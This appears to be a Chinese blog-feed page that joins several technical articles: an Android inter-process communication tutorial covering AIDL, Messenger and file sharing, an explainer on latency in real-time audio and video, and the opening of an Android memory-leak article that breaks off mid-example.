对于普通用户来说,不要轻易在一个app上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。

Android 进程间通信

$
0
0
什么鬼!单例居然失效了,一个地方设置值,另个地方居然取不到,这怎么可能?没道理啊!排查半天,发现这两就不在一个进程里,才恍然大悟……

什么是进程

按照操作系统中的描述:进程一般指一个执行单元,在 PC 和移动设备上指一个程序或者一个应用。

为什么要使用多进程

我们都知道,系统为 APP 每个进程分配的内存是有限的,如果想获取更多内存分配,可以使用多进程,将一些看不见的服务、比较独立而又相当占用内存的功能运行在另外一个进程当中。

目录结构预览

先放出最终实践后的目录结构,有个大概印象,后面一一介绍。

如何使用多进程

AndroidManifest.xml 清单文件中注册 Activity、Service 等四大组件时,指定 android:process 属性即可开启多进程,如:

<activity
    android:name=".Process1Activity"
    android:process=":process1" /><activity
    android:name=".Process2Activity"
    android:process="com.wuxiaolong.androidprocesssample.process2" />


说明

1、 com.wuxiaolong.androidprocesssample,主进程,默认的是应用包名;

2、 android:process=":process1",“:”开头,是简写,完整进程名包名 + :process1

3、 android:process="com.wuxiaolong.androidprocesssample.process2",以小写字母开头的,属于全局进程,其他应用可以通过 ShareUID 进行数据共享;

4、进程命名跟包名的命名规范一样。

进程弊端

Application 多次创建

我们自定义一个 Application 类, onCreate方法进行打印 Log.d("wxl", "AndroidApplication onCreate");,然后启动 Process1Activity:

com.wuxiaolong.androidprocesssample D/wxl: AndroidApplication onCreate
com.wuxiaolong.androidprocesssample:process1 D/wxl: AndroidApplication onCreate

看到确实被创建两次,原因见: android:process 的坑,你懂吗?多数情况下,我们都会在工程中自定义一个 Application 类,做一些全局性的初始化工作,因为我们要区分出来,让其在主进程进行初始化,网上解决方案:

@Override
public void onCreate() {
    super.onCreate();
    String processName = AndroidUtil.getProcessName();
    if (getPackageName().equals(processName)) {
        //初始化操作
        Log.d("wxl", "AndroidApplication onCreate=" + processName);
    }
}

AndroidUtil:

public static String getProcessName() {
    try {
        File file = new File("/proc/" + android.os.Process.myPid() + "/" + "cmdline");
        BufferedReader mBufferedReader = new BufferedReader(new FileReader(file));
        String processName = mBufferedReader.readLine().trim();
        mBufferedReader.close();
        return processName;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

静态成员和单例模式失效

创建一个类 SingletonUtil:

public class SingletonUtil {
    private static SingletonUtil singletonUtil;
    private String userId = "0";

    public static SingletonUtil getInstance() {
        if (singletonUtil == null) {
            singletonUtil = new SingletonUtil();
        }
        return singletonUtil;
    }

    public String getUserId() {
        return userId;
    }

    public void setUserId(String userId) {
        this.userId = userId;
    }
}

在 MainActivity 进行设置:

SingletonUtil.getInstance().setUserId("007");

Process1Activity 取值,打印:

Log.d("wxl", "userId=" + SingletonUtil.getInstance().getUserId());

发现打印 userId=0,单例模式失效了,因为这两个进程不在同一内存了,自然无法共享。

进程间通信

文件共享

既然内存不能共享,是不是可以找个共同地方,是的,可以把要共享的数据保存 SD 卡,实现共享。首先将 SingletonUtil 实现 Serializable 序列化,将对象存入 SD 卡,然后需要用的地方,反序列化,从 SD 卡取出对象,完整代码如下:

SingletonUtil

public class SingletonUtil implements Serializable{
    public static String ROOT_FILE_DIR = Environment.getExternalStorageDirectory() + File.separator + "User" + File.separator;
    public static String USER_STATE_FILE_NAME_DIR = "UserState";
    private static SingletonUtil singletonUtil;
    private String userId = "0";

    public static SingletonUtil getInstance() {
        if (singletonUtil == null) {
            singletonUtil = new SingletonUtil();
        }
        return singletonUtil;
    }

    public String getUserId() {
        return userId;
    }

    public void setUserId(String userId) {
        this.userId = userId;
    }
}

序列化和反序列化

public class AndroidUtil {
    public static boolean createOrExistsDir(final File file) {
        // 如果存在,是目录则返回true,是文件则返回false,不存在则返回是否创建成功
        return file != null && (file.exists() ? file.isDirectory() : file.mkdirs());
    }

    /**
     * 删除目录
     *
     * @param dir 目录
     * @return {@code true}: 删除成功<br>{@code false}: 删除失败
     */
    public static boolean deleteDir(final File dir) {
        if (dir == null) return false;
        // 目录不存在返回true
        if (!dir.exists()) return true;
        // 不是目录返回false
        if (!dir.isDirectory()) return false;
        // 现在文件存在且是文件夹
        File[] files = dir.listFiles();
        if (files != null && files.length != 0) {
            for (File file : files) {
                if (file.isFile()) {
                    if (!file.delete()) return false;
                } else if (file.isDirectory()) {
                    if (!deleteDir(file)) return false;
                }
            }
        }
        return dir.delete();
    }

    /**
     * 序列化,对象存入SD卡
     *
     * @param obj          存储对象
     * @param destFileDir  SD卡目标路径
     * @param destFileName SD卡文件名
     */
    public static void writeObjectToSDCard(Object obj, String destFileDir, String destFileName) {

        createOrExistsDir(new File(destFileDir));
        deleteDir(new File(destFileDir + destFileName));
        FileOutputStream fileOutputStream = null;
        ObjectOutputStream objectOutputStream = null;
        try {
            fileOutputStream = new FileOutputStream(new File(destFileDir, destFileName));
            objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(obj);

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (objectOutputStream != null) {
                    objectOutputStream.close();
                    objectOutputStream = null;
                }
                if (fileOutputStream != null) {
                    fileOutputStream.close();
                    fileOutputStream = null;
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }

    }

    /**
     * 反序列化,从SD卡取出对象
     *
     * @param destFileDir  SD卡目标路径
     * @param destFileName SD卡文件名
     */
    public static Object readObjectFromSDCard(String destFileDir, String destFileName) {
        FileInputStream fileInputStream = null;

        Object object = null;
        ObjectInputStream objectInputStream = null;

        try {
            fileInputStream = new FileInputStream(new File(destFileDir, destFileName));
            objectInputStream = new ObjectInputStream(fileInputStream);
            object = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (objectInputStream != null) {
                    objectInputStream.close();
                    objectInputStream = null;
                }
                if (fileInputStream != null) {
                    fileInputStream.close();
                    fileInputStream = null;
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return object;

    }
}

需要权限:

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

MainActivity 序列写入

SingletonUtil singletonUtil = SingletonUtil.getInstance();
singletonUtil.setUserId("007");
AndroidUtil.writeObjectToSDCard(singletonUtil, SingletonUtil.ROOT_FILE_DIR, SingletonUtil.USER_STATE_FILE_NAME_DIR);

Process1Activity 反序列化取值

Object object = AndroidUtil.readObjectFromSDCard(SingletonUtil.ROOT_FILE_DIR, SingletonUtil.USER_STATE_FILE_NAME_DIR);
if (object != null) {
    SingletonUtil singletonUtil = (SingletonUtil) object;
    Log.d("wxl", "userId=" + singletonUtil.getUserId());//打印:userId=007
}

AIDL

AIDL,Android 接口定义语言,定义客户端与服务端进程间通信,服务端有处理多线程时,才有必要使用 AIDL,不然可以使用 Messenger ,后文介绍。

单个应用,多个进程

服务端

AIDL 传递数据有基本类型 int,long,boolean,float,double,也支持 String,CharSequence,List,Map,传递对象需要实现 Parcelable 接口,这时需要指定 in(客户端数据对象流向服务端)、out (数据对象由服务端流向客户端)。

1、Userbean.java

public class UserBean implements Parcelable {
    private int userId;
    private String userName;

    public int getUserId() {
        return userId;
    }

    public void setUserId(int userId) {
        this.userId = userId;
    }

    public String getUserName() {
        return userName;
    }

    public void setUserName(String userName) {
        this.userName = userName;
    }

    public UserBean() {

    }

    private UserBean(Parcel in) {
        userId = in.readInt();
        userName = in.readString();
    }

    /**
     * @return 0 或 1 ,1 含有文件描述符
     */
    @Override
    public int describeContents() {
        return 0;
    }

    /**
     * 系列化
     *
     * @param dest  当前对象
     * @param flags 0 或 1,1 代表当前对象需要作为返回值,不能立即释放资源
     */
    @Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeInt(userId);
        dest.writeString(userName);
    }

    /**
     * 反序列化
     */
    public static final Creator<UserBean> CREATOR = new Creator<UserBean>() {
        @Override
        public UserBean createFromParcel(Parcel in) {
            return new UserBean(in);
        }

        @Override
        public UserBean[] newArray(int size) {
            return new UserBean[size];
        }
    };

}

2、UserBean.aidl

Userbean.java 同包下创建对应的 UserBean.aidl 文件,与 aidl 调用和交互。

// UserBean.aidl
package com.wuxiaolong.androidprocesssample;

parcelable UserBean;

3、IUserManager.aidl

// IUserManager.aidl
package com.wuxiaolong.androidprocesssample;

// Declare any non-default types here with import statements
//手动导入
import com.wuxiaolong.androidprocesssample.UserBean;

interface IUserManager {

    //基本数据类型:int,long,boolean,float,double,String
    void hello(String aString);

    //非基本数据类型,传递对象
    void getUser(in UserBean userBean);//in 客户端->服务端


}

4、服务类

新建 AIDLService 继承 Service,并且实现 onBind() 方法返回一个你实现生成的 Stub 类,把它暴露给客户端。Stub 定义了一些辅助的方法,最显著的就是 asInterface(),它是用来接收一个 IBinder,并且返回一个 Stub 接口的实例 。

public class AIDLService extends Service {

    private Binder binder = new IUserManager.Stub() {

        @Override
        public void getUser(UserBean userBean) throws RemoteException {
            Log.d("wxl", userBean.getUserId() + "," + userBean.getUserName() + " from AIDL Service");
        }

        @Override
        public void hello(String aString) throws RemoteException {
            Log.d("wxl", aString + " from AIDL Service");
        }
    };

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }
}

AndroidManifest 注册:

<service
    android:name=".AIDLService"
    android:process=":aidlRemote" />

以上创建完毕,build clean 下,会自动生成 aidl 对应的 java 类供客户端调用。

客户端

1、app/build.gradle

需要指定 aidl 路径:

android {
    //……
    sourceSets {
        main {
            java.srcDirs = ['src/main/java', 'src/main/aidl']
        }
    }
}

2、启动服务,建立联系

public class MainActivity extends AppCompatActivity {

    private ServiceConnection aidlServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            IUserManager remoteService = IUserManager.Stub.asInterface(service);
            UserBean userBean = new UserBean();
            userBean.setUserId(1);
            userBean.setUserName("WuXiaolong");
            try {
                remoteService.getUser(userBean);
                remoteService.hello("Hello");
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Intent intent = new Intent(this, AIDLService.class);
        bindService(intent, aidlServiceConnection, Context.BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        unbindService(aidlServiceConnection);
        super.onDestroy();
    }
}

打印:

com.wuxiaolong.androidprocesssample:aidlRemote D/wxl: 1,WuXiaolong from AIDL Service
com.wuxiaolong.androidprocesssample:aidlRemote D/wxl: Hello from AIDL Service

多个应用,多进程

和上面基本差不多,把服务端和客户端分别创建的两个项目,可以互相通信,注意点:

1、服务端创建好的 aidl 文件,带包拷贝到客户端项目中;

2、客户端启动服务是隐式启动,Android 5.0 中对 service 隐式启动有限制,必须通过设置 action 和 package,代码如下:

AndroidManifest 注册:

<service android:name=".AIDLService"><intent-filter><action android:name="android.intent.action.AIDLService" /></intent-filter>

启动服务:

Intent intent = new Intent();
intent.setAction("android.intent.action.AIDLService");
intent.setPackage("com.wuxiaolong.aidlservice");
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);

使用 Messenger

Messenger 可以在不同的进程传递 Message 对象,而我们可以在 Message 对象中放入我们所需要的数据,这样就能实现进程间通信了。Messenger 底层实现是 AIDL,对 AIDL 做了封装, 不需要处理多线程,实现步骤也分为服务端和客户端,代码如下:

服务端

MessengerService:

public class MessengerService extends Service {

    private final Messenger messenger = new Messenger(new MessengerHandler());


    private static class MessengerHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MainActivity.MSG_FROM_CLIENT:
                    //2、服务端接送消息
                    Log.d("wxl", "msg=" + msg.getData().getString("msg"));

                    //4、服务端回复消息给客户端
                    Messenger serviceMessenger = msg.replyTo;
                    Message replyMessage = Message.obtain(null, MSG_FROM_SERVICE);
                    Bundle bundle = new Bundle();
                    bundle.putString("msg", "Hello from service.");
                    replyMessage.setData(bundle);
                    try {
                        serviceMessenger.send(replyMessage);
                    } catch (RemoteException e) {
                        e.printStackTrace();
                    }
                    break;
            }
            super.handleMessage(msg);
        }
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return messenger.getBinder();
    }
}

AndroidManafest.xml 注册:

<service
    android:name=".MessengerService"
    android:process=":messengerRemote" />

客户端

MainActivity

public class MainActivity extends AppCompatActivity {
    public static final int MSG_FROM_CLIENT = 1000;
    public static final int MSG_FROM_SERVICE = 1001;
    private Messenger clientMessenger;
    private ServiceConnection messengerServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            //1、发送消息给服务端
            clientMessenger = new Messenger(service);
            Message message = Message.obtain(null, MSG_FROM_CLIENT);
            Bundle bundle = new Bundle();
            bundle.putString("msg", "Hello from client.");
            message.setData(bundle);
            //3、这句是服务端回复客户端使用
            message.replyTo = getReplyMessenger;
            try {
                clientMessenger.send(message);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };

    private final Messenger getReplyMessenger = new Messenger(new MessengerHandler());

    private static class MessengerHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MainActivity.MSG_FROM_SERVICE:
                    //5、服务端回复消息给客户端,客户端接送消息
                    Log.d("wxl", "msg=" + msg.getData().getString("msg"));
                    break;
            }
            super.handleMessage(msg);
        }
    }


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        // Messenger 进行通信
        Intent intent = new Intent(this, MessengerService.class);
        bindService(intent, messengerServiceConnection, Context.BIND_AUTO_CREATE);

    }

    @Override
    protected void onDestroy() {
        unbindService(messengerServiceConnection);
        super.onDestroy();
    }

}

打印信息:

com.wuxiaolong.androidprocesssample:remote D/wxl: msg=Hello from client.
com.wuxiaolong.androidprocesssample D/wxl: msg=Hello from service.

最后

《Android开发艺术探索》一书关于 Android 进程间通信这块,还有 ContentProvider、Socket 方式,由于篇幅所限,这里不一一介绍了,有兴趣可以自行查看。如果需要这次 Sample 的源码,可在我的公众号「吴小龙同学」回复:「AndroidProcessSample」获取。

参考

《Android开发艺术探索》
Android 中的多进程,你值得了解的一些知识
Android使用AIDL实现跨进程通讯(IPC)


详解音视频直播中的低延时

$
0
0
高泽华,声网 Agora 音频工匠,先后在中磊电子、士兰微电子、虹软科技主导音频项目。任职 YY 期间负责语音音频技术工作。在音乐、语音编解码方面有超过十年的研发经验。

音视频实时通讯的应用场景已经随处可见,从“吃鸡”的语音对讲、直播连麦、直播答题组队开黑,再到银行视频开户等。对于开发者来讲,除了关注如何能快速实现不同应用场景重点额音视频通讯,另一个更需要关注的可能就是“低延时”。但是,到底实时音视频传输延时应该如何“低”,才能满足你的应用场景呢?

延时的产生与优化

在聊低延时之前,我们先要讲清延时是如何产生的。由于音视频的传输路径一样,我们可以通过一张图来说明延时的产生:

在音视频传输过程中,在不同阶段都会产生延时。总体可以分为三类:

T1:设备端上的延时

音视频数据在设备端上产生延时还可以细分。设备端上的延时主要与硬件性能、采用的编解码算法、音视频数据量相关,设备端上的延时可达到 30~200ms,甚至更高。如上表所示,音频与视频分别在采集端或播放端产生延时的过程基本相同,但产生延时的原因不同。

音频在设备端上的延时:

  • 音频采集延时:采集后的音频首先会经过声卡进行信号转换,声卡本身会产生延时,比如 M-Audio 声卡设备延迟 1ms,艾肯声卡设备延迟约为 37ms;
  • 编解码延时:随后音频进入前处理、编码的阶段,如果采用 OPUS 标准编码,最低算法延时大约需要 2.5~60ms;
  • 音频播放延时:这部分延时与播放端硬件性能相关。
  • 音频处理延时:前后处理,包括 AEC,ANS,AGC 等前后处理算法都会带来算法延时,通常这里的延时就是滤波器阶数。在 10ms 以内。
  • 端网络延时:这部分延时主要出现在解码之前的 jitter buffer 内,如果在抗丢包处理中,增加了重传算法和前向纠错算法,这里的延时一般在 20ms 到 200ms 左右。但是受到 jitter buffer 影响,可能会更高。

视频在设备端上的延时:

  • 采集延时:采集时会遇到成像延迟,主要由 CCD 相关硬件产生,市面上较好的 CCD 一秒可达 50 帧,成像延时约为 20ms,如果是一秒 20~25 帧的 CCD,会产生 40~50ms 的延时;
  • 编解码延时:以 H.264 为例,它包含 I、P、B 三种帧(下文会详细分析),如果是每秒 30 帧相连帧,且不包括 B 帧(由于 B 帧的解码依赖前后视频帧会增加延迟),采集的一帧数据可能直接进入编码器,没有 B 帧时,编码的帧延时可以忽略不计,但如果有 B 帧,会带来算法延时。
  • 视频渲染延时:一般情况下渲染延时非常小,但是它也会受到系统性能、音画同步的影响而增大。
  • 端网络延时:与音频一样,视频也会遇到端网络延时。

另外,在设备端,CPU、缓存通常会同时处理来自多个应用、外接设备的请求,如果某个问题设备的请求占用了 CPU,会导致音视频的处理请求出现延时。以音频为例,当出现该状况时,CPU 可能无法及时填充音频缓冲区,音频会出现卡顿。所以设备整体的性能,也会影响音视频采集、编解码与播放的延时。

T2:端与服务器间的延时

影响采集端与服务器、服务器与播放端的延时的有以下主几个因素:客户端同服务间的物理距离、客户端和服务器的网络运营商、终端网络的网速、负载和网络类型等。如果服务器就近部署在服务区域、服务器与客户端的网络运营商一致时,影响上下行网络延时的主要因素就是终端网络的负载和网络类型。一般来说,无线网络环境下的传输延时波动较大,传输延时通常在 10~100ms 不定。而有线宽带网络下,同城的传输延时能较稳定的低至 5ms~10ms。但是在国内有很多中小运营商,以及一些交叉的网络环境、跨国传输,那么延时会更高。

T3:服务器间的延时

在此我们要要考虑两种情况,第一种,两端都连接着同一个边缘节点,那么作为最优路径,数据直接通过边缘节点进行转发至播放端;第二种,采集端与播放端并不在同一个边缘节点覆盖范围内,那么数据会经由“靠近”采集端的边缘节点传输至主干网络,然后再发送至“靠近”播放端的边缘节点,但这时服务器之间的传输、排队还会产生延时。仅以骨干网络来讲,数据传输从黑龙江到广州大约需要 30ms,从上海到洛杉矶大约需要 110ms~130ms。

在实际情况下,我们为了解决网络不佳、网络抖动,会在采集设备端、服务器、播放端增设缓冲策略。一旦触发缓冲策略就会产生延时。如果卡顿情况多,延时会慢慢积累。要解决卡顿、积累延时,就需要优化整个网络状况。

综上所述,由于音视频在采集与播放端上的延时取决于硬件性能、编解码内核的优化,不同设备,表现不同。所以通常市面上常见的“端到端延时”指的是 T2+T3。

延时低≠通话质量可靠

不论是教育、社交、金融,还是其它场景下,大家在开发产品时可能会认为“低延时”一定就是最好的选择。但有时,这种“追求极致”也是陷入误区的表现,低延时不一定意味着通讯质量可靠。由于音频与视频本质上的差异,我们需要分别来讲实时音频、视频的通讯质量与延时之间的关系。

音频质量与延时

音频采样示意图

影响实时音频通讯质量的因素包括:音频采样率、码率、延时。音频信息其实就是一段以时间为横轴的正弦波,它是一段连续的信号(如上图)。

采样率:是每秒从连续信号中提取并组成离散信号的采样个数。采样率越高,音频听起来越接近真实声音。

码率:它描述了单位时间长度的媒体内容需要空间。码率越高,意味着每个采样的信息量就越大,对这个采样的描述就越精确,音质越好。

假设网络状态稳定不变,那么采样率越高、码率越高,音质就越好,但是相应单个采样信息量就越大,那么传输时间可能会相对更长。

对照我们之前的公式,如果想要达到低延时,那么可以提高网络传输效率,比如提高带宽、网络速度,这在实验室环境下可以轻易实现。但放到生活环境中,弱网、中小运营商等不可控的问题必定会影响网络传输效率,最后结果就是通讯质量没有保障。还有一种方法,就是降低码率,那么会损失音质。

视频质量与延时

影响实时视频质量的因素包括:码率、帧率、分辨率、延时。其中视频的码率与音频码率相似,是指单位时间传输的数据位数。码率越大,画面细节信息越丰富,视频文件体积越大。

帧:正如大家所知,视频由一帧帧图像组成,如上图所示为 H.264 标准下的视频帧。它以 I 帧、P 帧、B 帧组成的 GOP 分组来表示图像画面(如下图):I 帧是关键帧,带有图像全部信息;P 帧是预测编码帧,表示与当前与前一帧(I 或 P 帧)之间的差别;B 帧是双向预测编码帧,记录本帧与前后帧的差别。

帧率:它是指每秒钟刷新的图像帧数。它直接影响视频的流畅度,帧率越大,视频越流畅。由于人类眼睛与大脑处理图像信息非常快,当帧率高于 24fps 时,画面看起来是连贯的,但这只是一个起步值。在游戏场景下,帧率小于 30fps 就会让人感到画面不流畅,当提升到 60fps 时会带来更实时的交互感,但超过 75fps 后一般很难让人感到有什么区别了。

分辨率:是指单位英寸中所包含的像素点数,直接影响图像的清晰度。如果将一张 640 x 480 与 1024 x 768 的视频在同一设备上全屏播放,你会感到清晰度明显不同。

在分辨率一定的情况下,码率与清晰度成正比关系,码率越高,图像越清晰;码率越低,图像越不清晰。

在实时视频通话情况下,会出现多种质量问题,比如:与编解码相关的画面糊、不清晰、画面跳跃等现象,因网络传输问题带来的延时、卡顿等。所以解决了低延时,只是解决了实时音频通讯的一小部分问题而已。

综上来看,如果在网络传输稳定的情况下,想获得越低的延时,就需要在流畅度、视频清晰度、音频质量等方面进行权衡。

不同场景下的延时

我们通过下表看到每个行业对实时音视频部分特性的大致需求。但是每个行业,不仅对低延时的要求不同,对延时、音质、画质,甚至功耗之间的平衡也有要求。在有些行业中,低延时并非永远排在首位。

游戏场景

在手游场景下,不同游戏类型对实时音视频的要求不同,比如狼人杀这样的桌游,语音沟通是否顺畅,对游戏体验影响很大,所以对延时要求较高。其它类型游戏具体如下方表格所示。

但满足低延时,并不意味着能满足手游开发的要求。因为手游开发本身存在很多痛点,比如功耗、安装包体积、安全性等。从技术层面讲,将实时音视频与手游结合时,手游开发关注的问题有两类:性能类与体验类。

在将实时音视频与手游结合时,除了延时,更注重包的大小、功耗等。安装包的大小直接影响用户是否安装,而功耗则直接影响游戏体验。

社交直播场景

目前的社交直播产品按照功能类型分有仅支持纯音频社交的,比如荔枝 FM;还有音视频社交的,比如陌陌。这两类场景对实时音视频的要求包括:

直播答题场景

在直播答题场景中,对实时音视频的要求主要有如下两点:

我们以前经常能看到主持人说完一道题,题目却还没发到手机上,最后只剩 3 秒的答题时间,甚至没看到题就已出局。该场景的痛点不是低延时,而是直播音视频与题目的同步,保证所有人公平,有钱分。

K 歌合唱场景

天天 K 歌、唱吧等 K 歌类应用中,都有合唱功能,主流形式是 A 用户上传完整录音,B 用户再进行合唱。实现实时合唱的主要需求有如下几点:

在这个场景中,两人的歌声与音乐三者之间的同步给低延时提出了很高的要求。同时,音质也是关键,如果为了延时而大幅降低音质,就偏离了 K 歌应用的初衷。

金融场景

对于核保、银行开户来讲,需要一对一音视频通话。由于金融业特殊性,该类应用对实时音视频的需求,按照重要性来排序如下:

在这个场景中,低延时不是关键。重要的是,要保证安全性、双录功能和系统平台的兼容。

在线教育

在线教育主要分为两类:非 K12 在线教育,比如技术开发类教学,该场景对实时音视频的要求主要有:

很多非 K12 教学发生在单向直播场景下,所以延时要求并不高。

另一类是 K12 在线教育,比如英语外教、部分兴趣教学,通常会有一对一或一对多的师生连麦功能,它对直播场景的要求包括:

在 K12 的在线教育中,师生的连麦在低延时方面有较高的要求。如果会涉及跨国的英语教学,或需要面向偏远地区学生,那还要考虑海外节点部署、中小运营商网络的支持等。

在线抓娃娃

在线抓娃娃是近期新兴热点,主要依靠实时音视频与线下娃娃机来实现。它对实时音视频的要求包括:

瓶颈与权衡

产品的开发追求极致,需要让延时低到极限。但理想丰满,现实骨感。我们曾在上文提到,延时是因多个阶段的数据处理、传输而产生的。那么就肯定有它触及天花板的时候。

我们大胆假设,要从北京机场传输一路音视频留到上海虹桥机场。我们突破一切物理环境、财力、人力限制,在两地之间搭设了一条笔直的光纤,且保证真空传输(实际上根本不可能)。两地之间距离约为 1061 km。通过计算可知,传输需要约 35ms。数据在采集设备与播放设备端需要的采集、编解码处理与播放缓冲延时计为较高的值,30ms。那么端到端的延时大概需要 65ms。请注意,我们在这里还忽略了音视频文件本身、系统、光的衰减等因素带来的影响。

所以,所谓“超低延时”也会遇到瓶颈。在任何实验环境下都可以达到很低的延时,但是到实际环境中,要考虑边缘节点的部署、主干网络拥塞、弱网环境、设备性能、系统性能等问题,实际延时会更大。在一定的网络条件限制下,针对不同场景选择低延时方案或技术选型时,就需要围绕延时、卡顿、音频质量、视频清晰度等指标进行权衡与判断。


声网Agora有奖征文活动 正在进行中,只要在5月25日前分享你与声网SDK相关的开发经验,即有机会获得机械键盘、T恤等声网定制奖品。 详情请戳这里或邮件咨询tougao#agora.io

Android 性能篇 -- 带你领略Android内存泄漏的前世今生

$
0
0

基础了解

什么是内存泄漏?

内存泄漏是当程序不再使用到的内存时,释放内存失败而产生了无用的内存消耗。内存泄漏并不是指物理上的内存消失,这里的内存泄漏是指由程序分配的内存但是由于程序逻辑错误而导致程序失去了对该内存的控制,使得内存浪费。

Java 内存分配策略

Java 程序运行时的内存分配策略有三种,分别是 静态分配 栈式分配 堆式分配 ,对应的三种存储策略使用的内存空间主要分别是 静态存储区(也称方法区) 栈区 堆区

          静态存储区(方法区):主要存放 静态数据全局 static 数据常量。这块内存在程序编译时就已经分配好,并且在程序整个运行期间都存在。

          栈区:当方法被执行时,方法体内的 局部变量(其中包括基础数据类型、对象的引用)都在栈上创建,并在方法执行结束时这些局部变量所持有的内存将会自动被释放。因为栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。

          堆区: 又称动态内存分配,通常就是指在程序运行时直接 new 出来的内存,也就是 对象的实例。这部分内存在不使用时将会由 Java 垃圾回收器(GC)来负责回收。

栈与堆的区别

在方法体内定义的(局部变量)一些基本类型的变量和对象的引用变量都是在方法的栈内存中分配的。当在一段方法块中定义一个变量时,Java 就会在栈中为该变量分配内存空间,当超过该变量的作用域后,该变量也就无效了,分配给它的内存空间也将被释放掉,该内存空间可以被重新使用。

堆内存用来存放所有由 new 创建的对象(包括该对象其中的所有成员变量)和数组。在堆中分配的内存,将由 Java 垃圾回收器来自动管理。在堆中产生了一个数组或者对象后,还可以在栈中定义一个特殊的变量,这个变量的取值等于数组或者对象在堆内存中的首地址,这个特殊的变量就是我们上面说的引用变量。我们可以通过这个引用变量来访问堆中的对象或者数组。

举例说明:

public class Sample {
    int s1 = 0;
    Sample mSample1 = new Sample();

    public void method() {
        int s2 = 1;
        Sample mSample2 = new Sample();     // Sample 类的局部变量 s2 和引用变量 mSample2 都是存在于栈中,但 mSample2 指向的对象是存在于堆上
    }
}

Sample mSample3 = new Sample();             // mSample3 指向的对象实体存放在堆上,包括这个对象的所有成员变量 s1 和 mSample1,而它自己存在于栈中。

Java是如何管理内存

Java的内存管理就是对象的分配和释放问题。在 Java 中,程序员需要通过关键字 new 为每个对象申请内存空间 (基本类型除外),所有的对象都在堆 (Heap)中分配空间。另外,对象的释放是由 GC 决定和执行的。在 Java 中,内存的分配是由程序完成的,而内存的释放是由 GC 完成的,这种收支两条线的方法确实简化了程序员的工作。但同时,它也加重了JVM的工作。这也是 Java 程序运行速度较慢的原因之一。因为,GC 为了能够正确释放对象,GC 必须监控每一个对象的运行状态,包括对象的申请、引用、被引用、赋值等,GC 都需要进行监控。

监视对象状态是为了更加准确地、及时地释放对象,而释放对象的根本原则就是该对象不再被引用。

Java中的内存泄漏

在Java中,内存泄漏就是存在一些被分配的对象,这些对象有下面两个特点,首先,这些对象是可达的,即在有向图中,存在通路可以与其相连;其次,这些对象是无用的,即程序以后不会再使用这些对象。如果对象满足这两个条件,这些对象就可以判定为Java中的内存泄漏,这些对象不会被GC所回收,然而它却占用内存。

在C++中,内存泄漏的范围更大一些。有些对象被分配了内存空间,然后却不可达,由于C++中没有GC,这些内存将永远收不回来。在Java中,这些不可达的对象都由GC负责回收,因此程序员不需要考虑这部分的内存泄露。

通过分析,我们得知,对于C++,程序员需要自己管理边和顶点,而对于Java程序员只需要管理边就可以了(不需要管理顶点的释放)。通过这种方式,Java提高了编程的效率。

因此,通过以上分析,我们知道在Java中也有内存泄漏,但范围比C++要小一些。因为Java从语言上保证,任何对象都是可达的,所有的不可达对象都由GC管理。

对于程序员来说,GC基本是透明的,不可见的。虽然,我们只有几个函数可以访问GC,例如运行GC的函数System.gc(),但是根据Java语言规范定义, 该函数不保证JVM的垃圾收集器一定会执行。因为,不同的JVM实现者可能使用不同的算法管理GC。通常,GC的线程的优先级别较低。JVM调用GC的策略也有很多种,有的是内存使用到达一定程度时,GC才开始工作,也有定时执行的,有的是平缓执行GC,有的是中断式执行GC。但通常来说,我们不需要关心这些。除非在一些特定的场合,GC的执行影响应用程序的性能,例如对于基于Web的实时系统,如网络游戏等,用户不希望GC突然中断应用程序执行而进行垃圾回收,那么我们需要调整GC的参数,让GC能够通过平缓的方式释放内存,例如将垃圾回收分解为一系列的小步骤执行,Sun提供的HotSpot JVM就支持这一特性。

以下给出一个 Java 内存泄漏的典型例子:

Vector v = new Vector(10);
for (int i = 1; i < 100; i++) {
    Object o = new Object();
    v.add(o);
    o = null;   
}

在这个例子中,我们循环申请Object对象,并将所申请的对象放入一个 Vector 中,如果我们仅仅释放引用本身,那么 Vector 仍然引用该对象,所以这个对象对 GC 来说是不可回收的。因此,如果对象加入到Vector 后,还必须从 Vector 中删除,最简单的方法就是将 Vector 对象设置为 null。

常见内存泄漏

永远的单例

单例的使用在我们的程序中随处可见,因为使用它可以完美的解决我们在程序中重复创建对象的问题,不过可别小瞧它。由于 单例的静态特性使得其生命周期跟应用的生命周期一样长 ,所以一旦使用有误,小心无限制的持有Activity的引用而导致内存泄漏。

我们看个例子:

public class AppManager {

    private static AppManager instance;
    private Context context;
    
    private AppManager(Context context) {
        this.context = context;
    }
    
    public static AppManager getInstance(Context context) {
        if (instance == null) {
            instance = new AppManager(context);
        }
        return instance;
    }
}

这是一个普通的单例模式,当创建这个单例的时候,由于需要传入一个Context,所以这个Context的生命周期的长短至关重要! (实际常见)

